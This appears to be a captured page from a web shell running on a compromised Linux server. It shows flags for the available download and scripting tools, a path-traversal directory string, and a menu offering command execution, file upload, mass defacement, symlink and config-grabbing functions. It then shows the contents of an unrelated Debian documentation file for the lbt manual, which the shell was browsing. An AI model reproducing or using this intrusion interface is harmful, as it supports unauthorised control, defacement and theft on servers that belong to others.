OFF | cURL : OFF | WGET : ON | Perl : ON | Python : OFF Directory (0755) : /usr/share/consoletrans/../distro-info/../doc/libsm6/../libattr1/../base-files/../../doc-base/ |
Home | ☍ Command | ☍ Upload File | ☍Info Server | ☍ Buat File | ☍ Mass deface | ☍ Jumping | ☍ Config | ☍ Symlink | ☍ About |
---|
Document: lbt Title: LBT Manual Author: Marko Mäkelä <msmakela@tcs.hut.fi> Abstract: This manual describes how to use lbt, a tool to translate linear temporal logic formulas into generalized Büchi automata. Section: Science/Mathematics Format: HTML Index: /usr/share/doc/lbt/index.html Files: /usr/share/doc/lbt/*.html